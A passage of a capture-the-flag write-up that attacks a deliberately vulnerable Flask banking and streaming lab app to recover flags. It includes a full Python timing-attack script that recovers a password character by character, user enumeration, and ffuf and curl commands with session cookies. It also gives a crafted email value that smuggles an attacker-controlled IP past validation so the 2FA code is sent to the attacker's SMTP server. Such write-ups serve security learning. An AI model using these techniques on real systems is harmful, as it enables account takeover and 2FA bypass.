    if domain not in allowed_domains and to_addr not in allowed_emails:
        return -1

    from_addr = 'no-reply@hopsecbank.thm'
    message = f"""\
    Subject: Your OTP for HopsecBank

    Dear you,
    The OTP to access your banking app is {otp}.

    Thanks for trusting Hopsec Bank!"""

    s = smtplib.SMTP('smtp')
    s.sendmail(from_addr, to_addr, message)
    s.quit()


def hopper_hash(s):
    res = s
    for i in range(5000):
        res = hashlib.sha1(res.encode()).hexdigest()
    return res

@app.route('/')
def index():
    return send_from_directory('.', 'index.html')

@app.route('/<path:path>')
def serve_static(path):
    return send_from_directory('.', path)

@app.route('/api/check-credentials', methods=['POST'])
def check_credentials():
    data = request.json
    email = str(data.get('email', ''))
    pwd = str(data.get('password', ''))
    
    rows = cursor.execute(
        "SELECT * FROM users WHERE email = ?",
        (email,),
    ).fetchall()

    if len(rows) != 1:
        return jsonify({'valid':False, 'error': 'User does not exist'})
    
    phash = rows[0][2]
    
    if len(pwd)*40 != len(phash):
        return jsonify({'valid':False, 'error':'Incorrect Password'})

    for ch in pwd:
        ch_hash = hopper_hash(ch)
        if ch_hash != phash[:40]:
            return jsonify({'valid':False, 'error':'Incorrect Password'})
        phash = phash[40:]
    
    session['authenticated'] = True
    session['username'] = email
    return jsonify({'valid': True})

@app.route('/api/get-last-viewed', methods=['GET'])
def get_bank_account_id():
    if not session.get('authenticated', False):
        return jsonify({'error': 'Unauthorized'}), 401
    return jsonify({'last_viewed': HOPFLIX_FLAG})

@app.route('/api/bank-login', methods=['POST'])
def bank_login():
    data = request.json
    account_id = str(data.get('account_id', ''))
    pin = str(data.get('pin', ''))
    
    # Check bank credentials
    rows = cursor2.execute(
        "SELECT * FROM users WHERE email = ?",
        (account_id,),
    ).fetchall()

    if len(rows) != 1:
        return jsonify({'valid':False, 'error': 'User does not exist'})
    
    phash = rows[0][2]
    if hashlib.sha256(pin.encode()).hexdigest().lower() == phash:
        session['bank_authenticated'] = True
        session['bank_2fa_verified'] = False
        session['bank_allowed_emails'] = rows[0][5].split(',')
        session['bank_allowed_domains'] = rows[0][6].split(',')
        
        if len(session['bank_allowed_emails']) > 0:
            return jsonify({
                'success': True,
                'requires_2fa': True,
                'trusted_emails': rows[0][5].split(','),
            })
        if len(session['bank_allowed_domains']) > 0:
            return jsonify({
                'success': True,
                'requires_2fa': True,
                'trusted_domains': rows[0][6].split(','),
            })
    else:
        return jsonify({'error': 'Invalid credentials'}), 401

@app.route('/api/send-2fa', methods=['POST'])
def send_2fa():
    data = request.json
    otp_email = str(data.get('otp_email', ''))
    
    if not session.get('bank_authenticated', False):
        return jsonify({'error': 'Access denied.'}), 403
    
    # Generate 2FA code
    two_fa_code = ''.join([str(random.randint(0, 9)) for _ in range(6)])
    session['bank_2fa_code'] = encrypt(two_fa_code)

    if send_otp_email(two_fa_code, otp_email) != -1:
        return jsonify({'success': True})
    else:
        return jsonify({'success': False})

@app.route('/api/verify-2fa', methods=['POST'])
def verify_2fa():
    data = request.json
    code = str(data.get('code', ''))
    
    if not session.get('bank_authenticated', False):
        return jsonify({'error': 'Access denied.'}), 403
    
    if not session.get('bank_2fa_code', False):
        return jsonify({'error': 'No 2FA code generated'}), 404
    
    if code == decrypt(session.get('bank_2fa_code')):
        session['bank_2fa_verified'] = True
        return jsonify({'success': True})
    else:
        if 'bank_2fa_code' in session:
            del session['bank_2fa_code']
        return jsonify({'error': 'Invalid code'}), 401

@app.route('/api/release-funds', methods=['POST'])
def release_funds():
    if not session.get('bank_authenticated', False):
        return jsonify({'error': 'Access denied.'}), 403
    if not session.get('bank_2fa_verified', False):
        return jsonify({'error': 'Access denied.'}), 403
    
    return jsonify({'flag': BANK_FLAG})

if __name__ == '__main__':
    port = int(os.environ.get('PORT', 5000))
    app.run(host='0.0.0.0', port=port, debug=True,threaded=True)


```

{% endcode %}

## Flag 2

For now we focus on the route `/api/check-credentials`, which is responsible for checking the credentials of the Hopflix app.This Flask endpoint receives an email and password, fetches the corresponding user from the database, and retrieves the stored password hash. It validates the password by hashing **each character individually** and comparing it sequentially against chunks of the stored hash. If all characters match, it authenticates the user by setting session variables.

{% code overflow="wrap" lineNumbers="true" expandable="true" %}

```python
@app.route('/api/check-credentials', methods=['POST'])
def check_credentials():
    data = request.json
    email = str(data.get('email', ''))
    pwd = str(data.get('password', ''))
    
    rows = cursor.execute(
        "SELECT * FROM users WHERE email = ?",
        (email,),
    ).fetchall()

    if len(rows) != 1:
        return jsonify({'valid':False, 'error': 'User does not exist'})
    
    phash = rows[0][2]
    
    if len(pwd)*40 != len(phash):
        return jsonify({'valid':False, 'error':'Incorrect Password'})

    for ch in pwd:
        ch_hash = hopper_hash(ch)
        if ch_hash != phash[:40]:
            return jsonify({'valid':False, 'error':'Incorrect Password'})
        phash = phash[40:]
    
    session['authenticated'] = True
    session['username'] = email
    return jsonify({'valid': True})
```

{% endcode %}

We see that we have the assumed timing side-channel.&#x20;

* If a wrong password length is processed the the function stops earlier.

```
if len(pwd)*40 != len(phash):
```

* Comparison stops at the **first incorrect character,** allowing us to use a timing attack to recover the password one character at a time.

{% code overflow="wrap" lineNumbers="true" expandable="true" %}

```python
    for ch in pwd:
        ch_hash = hopper_hash(ch)
        if ch_hash != phash[:40]:
            return jsonify({'valid':False, 'error':'Incorrect Password'})
        phash = phash[40:]
```

{% endcode %}

* Each character is hash by the `hopper_hash function`. It does that. by repeatedly applying SHA-1 5000 times to a single-character string, producing a 40-hex-character hash that is computationally expensive.

{% code overflow="wrap" lineNumbers="true" expandable="true" %}

```python
def hopper_hash(s):
    res = s
    for i in range(5000):
        res = hashlib.sha1(res.encode()).hexdigest()
    return res
```

{% endcode %}

Furthermore we can enumerate the users, since we have distinct error messages whether an email exists or not.

```python
return jsonify({'valid':False, 'error': 'User does not exist'})
```

First, we test if the email we found is valid, and get a hit. The password is incorrect. The email `sbreachblocker@easterbunnies.thm` does actually exist.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcV0vqWR0KqNdtoWxQA2I%2Fgrafik.png?alt=media&#x26;token=1615b64f-243a-4022-9bba-fea91c16cef6" alt=""><figcaption></figcaption></figure>

Next, we need to craft a script to brute force for the password.&#x20;

So what we have found out so far is that the vulnerable login code compares the password character by character and returns early as soon as a character hash does not match.\
Because each correct character causes one extra `hopper_hash()` call (5,000 SHA-1 rounds), the server response time increases proportionally to how many leading characters are correct.

So, we need to first derive the password length and then each character of password by comparing the resulting timing. In short the script is split into three steps:

**Step 1: Establish a Baseline**

```python
def baseline():
    return measure("X")
```

* We send a definitely wrong password length, which triggers the fast failure path.
* This gives a baseline response time for *no hashing work*.
* All future timings subtract this baseline to isolate only the hashing delay.

**Step 2: Recover the Password Length**

```python
if len(pwd)*40 != len(phash):
    return ...
```

* The application leaks password length by performing work only if the length is correct.
* For each guessed length:
  * We send `"A" * length`
  * Correct length → enters the slow per-character loop
  * Wrong length → immediate return
* Assumption: The length with the largest timing increase is the real password length.

**Step 3: Extract the Password Character by Character**

For each position:

```python
guess = known + c + "A" * (remaining)
```

* We brute-force one character at a time.
* If the guessed character is correct:
  * One extra `hopper_hash()` executes
  * Response time increases measurably
* Incorrect characters exit earlier → faster response

By ranking characters by maximum delay, we identify the correct one.

{% code title="derive-password.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
import requests
import time
import statistics
import string
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# =====================
# CONFIG
# =====================
URL = "https://10.81.187.73:8443/api/check-credentials"
EMAIL = "sbreachblocker@easterbunnies.thm"

CHARSET = string.ascii_lowercase # + string.ascii_uppercase + string.digits + "{}_!@#$%^&*()-="
SAMPLES = 7
BATCH = 25
TIMEOUT = 10
MAX_LEN = 20
SLEEP = 0.05   # avoid rate limiting / jitter

session = requests.Session()

# =====================
# REQUEST PAYLOAD
# =====================
def payload(password):
    return {
        "email": EMAIL,
        "password": password
    }

# =====================
# TIMING PRIMITIVE
# =====================
def measure(password):
    timings = []

    for _ in range(SAMPLES):
        start = time.perf_counter()
        for _ in range(BATCH):
            session.post(
                URL,
                json=payload(password),
                verify=False,
                timeout=TIMEOUT
            )
        timings.append(time.perf_counter() - start)
        time.sleep(SLEEP)

    return statistics.median(timings)

# =====================
# BASELINE MEASUREMENT
# =====================
def baseline():
    # definitely wrong length → immediate return
    return measure("X")

# =====================
# STEP 1: FIND PASSWORD LENGTH
# =====================
def find_length():
    print("[*] Discovering password length...")
    base = baseline()
    results = {}

    for length in range(1, MAX_LEN + 1):
        guess = "A" * length
        t = measure(guess) - base
        results[length] = t
        print(f"    len={length:02d} -> Δ {t: 9.5f}s")

    best = max(results, key=results.get)
    print(f"[+] Password length is very likely {best}\n")
    return best

# =====================
# STEP 2: EXTRACT PASSWORD
# =====================
def extract(length):
    print("[*] Extracting password...")
    known = ""
    base = baseline()

    for i in range(length):
        print(f"[*] Position {i + 1}/{length}")
        timings = {}

        for c in CHARSET:
            guess = known + c + "A" * (length - len(known) - 1)
            t = measure(guess) - base
            timings[c] = t
            print(f"    {guess} -> Δ {t:.5f}s")


        # Sort candidates
        ranked = sorted(timings.items(), key=lambda x: x[1], reverse=True)
        best, best_t = ranked[0]
        second, second_t = ranked[1]

        # Confidence check
        if best_t - second_t < 0.002:
            print("[!] Low confidence, re-measuring top candidates...")
            for c, _ in ranked[:3]:
                guess = known + c + "A" * (length - len(known) - 1)
                timings[c] = measure(guess) - base

            ranked = sorted(timings.items(), key=lambda x: x[1], reverse=True)
            best = ranked[0][0]

        known += best
        print(f"[+] Locked in: {best} → {known}\n")

    return known

# =====================
# MAIN
# =====================
if __name__ == "__main__":
    length = find_length()
    password = extract(length)
    print(f"[✔] PASSWORD RECOVERED: {password}")

```

{% endcode %}

Only lowercase characters are included in the script here to speed up the solution process. We run the script and, after a long time, receive the final password.

```
python derive-password.py
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxF1xw488s4067ym5nBgj%2Fgrafik.png?alt=media&#x26;token=1299b47c-5b2d-47a4-be74-fa51ae511094" alt=""><figcaption></figcaption></figure>

The last character was incorrect when the script was executed multiple times. I seem to have another flaw here, but the password can be easily guessed with the help of the remaining characters.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7E1K194OtvFdJBZeQhyn%2Fgrafik.png?alt=media&#x26;token=b9384ca2-6095-4cbf-ab90-1c59f78d7e5f" alt=""><figcaption></figcaption></figure>

We enter the password...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOE0I65z7xgy1sTBwgjEL%2Fgrafik.png?alt=media&#x26;token=3fa6ac5c-63bf-4eb5-aeba-fad75a6328ba" alt=""><figcaption></figcaption></figure>

... and are able to log in. We recovered the second flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F34kHSZaqHSyfjHlxPjWJ%2Fgrafik.png?alt=media&#x26;token=3e1c0e6a-fdbb-4be6-92f9-f06d076418a3" alt=""><figcaption></figcaption></figure>

## Flag 3

We try to reuse the credentials.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgwsfFCALxsN6bJ11tkMF%2Fgrafik.png?alt=media&#x26;token=3a0ad935-dac3-4faa-ac01-d350e58b644c" alt=""><figcaption></figcaption></figure>

We are successful and are now prompted to select an authorized email to send the OTP, like already seen in the logic of `main.js/main.py`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjkTPyIZhS12sRpl48GEk%2Fgrafik.png?alt=media&#x26;token=24d40f5f-c19e-40fa-b34b-7edb7fd0ad3a" alt=""><figcaption></figcaption></figure>

Lets head back to the source `main.py`.&#x20;

The route `/api/bank-login` handles the primary bank authentication.

* It reads `account_id` and `pin` from the JSON request and looks up a matching user in the database.
* If exactly one user exists and the SHA-256 hash of the provided PIN matches the stored hash, the user is marked as authenticated in the session but not yet 2FA-verified.
* It then loads the user’s trusted emails and domains into the session and responds that 2FA is required, returning which trusted delivery options are available; otherwise, it returns an error for invalid credentials or a non-existent user.

{% code overflow="wrap" lineNumbers="true" expandable="true" %}

```python
@app.route('/api/bank-login', methods=['POST'])
def bank_login():
    data = request.json
    account_id = str(data.get('account_id', ''))
    pin = str(data.get('pin', ''))
    
    # Check bank credentials
    rows = cursor2.execute(
        "SELECT * FROM users WHERE email = ?",
        (account_id,),
    ).fetchall()

    if len(rows) != 1:
        return jsonify({'valid':False, 'error': 'User does not exist'})
    
    phash = rows[0][2]
    if hashlib.sha256(pin.encode()).hexdigest().lower() == phash:
        session['bank_authenticated'] = True
        session['bank_2fa_verified'] = False
        session['bank_allowed_emails'] = rows[0][5].split(',')
        session['bank_allowed_domains'] = rows[0][6].split(',')
        
        if len(session['bank_allowed_emails']) > 0:
            return jsonify({
                'success': True,
                'requires_2fa': True,
                'trusted_emails': rows[0][5].split(','),
            })
        if len(session['bank_allowed_domains']) > 0:
            return jsonify({
                'success': True,
                'requires_2fa': True,
                'trusted_domains': rows[0][6].split(','),
            })
    else:
        return jsonify({'error': 'Invalid credentials'}), 401
```

{% endcode %}

If a mail is chosen from the drop down and the 2FA is requested the following route is triggerd, which generates the 2FA code and sends it via `send_otp_email`.

{% code overflow="wrap" lineNumbers="true" expandable="true" %}

```python
@app.route('/api/send-2fa', methods=['POST'])
def send_2fa():
    data = request.json
    otp_email = str(data.get('otp_email', ''))
    
    if not session.get('bank_authenticated', False):
        return jsonify({'error': 'Access denied.'}), 403
    
    # Generate 2FA code
    two_fa_code = ''.join([str(random.randint(0, 9)) for _ in range(6)])
    session['bank_2fa_code'] = encrypt(two_fa_code)

    if send_otp_email(two_fa_code, otp_email) != -1:
        return jsonify({'success': True})
    else:
        return jsonify({'success': False})
```

{% endcode %}

The `send_otp_email` validates the mail and sends it to the respective mail.

{% code overflow="wrap" lineNumbers="true" expandable="true" %}

```python
def send_otp_email(otp, to_addr):
    if not validate_email(to_addr):
        return -1

    allowed_emails= session['bank_allowed_emails']
    allowed_domains= session['bank_allowed_domains']
    domain = to_addr.split('@')[-1]
    if domain not in allowed_domains and to_addr not in allowed_emails:
        return -1

    from_addr = 'no-reply@hopsecbank.thm'
    message = f"""\
    Subject: Your OTP for HopsecBank

    Dear you,
    The OTP to access your banking app is {otp}.

    Thanks for trusting Hopsec Bank!"""

    s = smtplib.SMTP('smtp')
    s.sendmail(from_addr, to_addr, message)
    s.quit()
```

{% endcode %}

But the validation only check if there is at least one `@` and that there are not the following cahracters include&#x64;**:**

* ASCII ≤ 32 (control chars, space, newline, etc.)
* ASCII ≥ 126 (non-standard printable chars)
* `,` or `;`

It does not check:

* structure (`local@domain`)
* number of `@`
* brackets, quotes, parentheses
* RFC compliance
* DNS / TLD / hostname rules

{% code overflow="wrap" lineNumbers="true" expandable="true" %}

```python
def validate_email(email):
    if '@' not in email:
        return False
    if any(ord(ch) <= 32 or ord(ch) >=126 or ch in [',', ';'] for ch in email):
        return False

    return True
```

{% endcode %}

So we try to bypass the validation with something like this.

```
0xb0b@[192.168.152.149]SOMETHING_THAT_BREAKS_THIS@easterbunnies.thm
```

We log in again,...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FotuQBao2DpGjLqa24BTA%2Fgrafik.png?alt=media&#x26;token=27a60999-c667-4f3b-bd06-523a4782112d" alt=""><figcaption></figcaption></figure>

... and save the resulting cookie. With each verficitation step the cookie gets updated.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNIk8SPOgIAMDMrEFfPUL%2Fgrafik.png?alt=media&#x26;token=74290eb1-ec62-4851-aa50-8c9084fa436d" alt=""><figcaption></figcaption></figure>

This is the current state of the cookie:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6wwJ0ylrRDicdsjjtsEG%2Fgrafik.png?alt=media&#x26;token=47d23db8-9c5f-47eb-89a2-1c28a82b7fee" alt=""><figcaption></figcaption></figure>

We start an SMTP server...

```
aiosmtpd -n -l 0.0.0.0:25
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFgLlxOWZFoZuXbOmXbJH%2Fgrafik.png?alt=media&#x26;token=898aac41-0e1f-4323-8930-e3caa0c15b00" alt=""><figcaption></figcaption></figure>

And request the 2FA code with the crafted mail FUZZing for a character that breaks the validation. We need to set the session cookie. We have some positive results, and some 500s.

{% code overflow="wrap" %}

```
ffuf -w special_chars.txt \
-u https://10.81.187.73:8443/api/send-2fa \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: session=.eJxtjssKwjAQRf9l1mJrqYgFQRCxG7uoDxCRMmmmJJgmmqQWEf_dB6Kgrs-5h3sBhnpfRBUWpeEECaSZziebSByCbJJHMzvvhWfWqmG-HPAgXIUsThdT12ZHs44dWyz7PB5B55M5kZWVJA5JhcrRi6BSpiVecFOj1A6SLRA6T5Y1WktyXS9q2H3JdHfV0y3RWuPvkMa_sw7UqATaf-ydbLwg7WWJ_nHN24auN-w5WhY.aUp0Qg.81MjCt0gmFlPWnSYbTGXQQTjJbs" \
-d '{"otp_email":"0xb0b@[192.168.152.149]FUZZ@easterbunnies.thm"}' \
-k \
-fr 'false
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fc4cLwOZl9upLmwxmNddl%2Fgrafik.png?alt=media&#x26;token=d307dc7a-0928-4e69-a138-8fe6d9bcf1a6" alt=""><figcaption></figcaption></figure>

We filter those 500s out.

```
ffuf -w special_chars.txt \                                
-u https://10.81.187.73:8443/api/send-2fa \
-X POST \
-H "Content-Type: application/json" \                                        
-H "Cookie: session=.eJxtjssKwjAQRf9l1mJrqYgFQRCxG7uoDxCRMmmmJJgmmqQWEf_dB6Kgrs-5h3sBhnpfRBUWpeEECaSZziebSByCbJJHMzvvhWfWqmG-HPAgXIUsThdT12ZHs44dWyz7PB5B55M5kZWVJA5JhcrRi6BSpiVecFOj1A6SLRA6T5Y1WktyXS9q2H3JdHfV0y3RWuPvkMa_sw7UqATaf-ydbLwg7WWJ_nHN24auN-w5WhY.aUp0Qg.81MjCt0gmFlPWnSYbTGXQQTjJbs" \
-d '{"otp_email":"0xb0b@[192.168.152.149]FUZZ@easterbunnies.thm"}' \
-k \
-fr 'false' -fc 500
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFtpqwXK4hSIoy6kqf2qC%2Fgrafik.png?alt=media&#x26;token=bfbc486b-3549-4506-b46a-1b2f8812efeb" alt=""><figcaption></figcaption></figure>

In the stdout of our mailserver we can see that we received the OTP code. We test it manually for each character and `(` breaks the validation. We copy the resulting cookie.

```
0xb0b@[192.168.152.149](@easterbunnies.thm
```

{% code overflow="wrap" %}

```
curl -i -k -X POST https://10.81.187.73:8443/api/send-2fa \
  -H "Content-Type: application/json" \
  -H "Cookie: session=.eJxtjjEOAjEMBP_i-kRBeRX_QCjyXTaKReJIjgMF4u8cIFEA9cyO9kYL6znsE4cLTJIg0py4dExvwqW0K2KIrbJop_lI4O6wZagK-s5zpdOXjM0tL3dls-YbxOF3NlHlktn-sU9yeIa6rOzPa24D9wf090PZ.aUpt3g.UKel2HXQwzFSgKkQp-JVDFfnx7I" \
  -d '{"otp_email":"0xb0b@[192.168.152.149](@easterbunnies.thm"}'

```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1boGeAc4F61Icz7Hcah4%2Fgrafik.png?alt=media&#x26;token=7b305436-4a75-445e-a4af-8eade0f812d5" alt=""><figcaption></figcaption></figure>

Next, we note down the OTP.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVL9NY9m5h13swCBrBUra%2Fgrafik.png?alt=media&#x26;token=75e89f29-9bf6-4efe-beca-32f78caaddd8" alt=""><figcaption></figcaption></figure>

We replace the session cookie with the one from our previous cURL request...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4mSbE979rnn9W3CffYBE%2Fgrafik.png?alt=media&#x26;token=b7f02216-8eda-470c-8044-db52f5e4c604" alt=""><figcaption></figcaption></figure>

... and click Access Account.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FePvrORU6eWsBar59G0Uo%2Fgrafik.png?alt=media&#x26;token=c6f86842-1b04-4411-9d38-68f9d665bffe" alt=""><figcaption></figcaption></figure>

The cookie gets updated again.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUlkjaCHZ0udPQ67lcM0j%2Fgrafik.png?alt=media&#x26;token=dbbf1adf-3ce2-44c0-b127-c623ecd2c7fe" alt=""><figcaption></figcaption></figure>

We enter the OTP and click on Verfiy.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZLx9fiK26sVYvQi93xq3%2Fgrafik.png?alt=media&#x26;token=74d9c3de-8ced-4c5d-8725-c957815f8f06" alt=""><figcaption></figcaption></figure>

We are now successfully logged in.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9ZcuNgu05Ug70kD6HB2S%2Fgrafik.png?alt=media&#x26;token=c1b9a0ee-602d-46b7-bde0-7028875eb5f7" alt=""><figcaption></figcaption></figure>

To get the final flag we need to release the charity funds.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCUuhEBori05Me2irjZoK%2Fgrafik.png?alt=media&#x26;token=672125b5-8aba-40a2-b16d-bd7fe34c7c82" alt=""><figcaption></figcaption></figure>
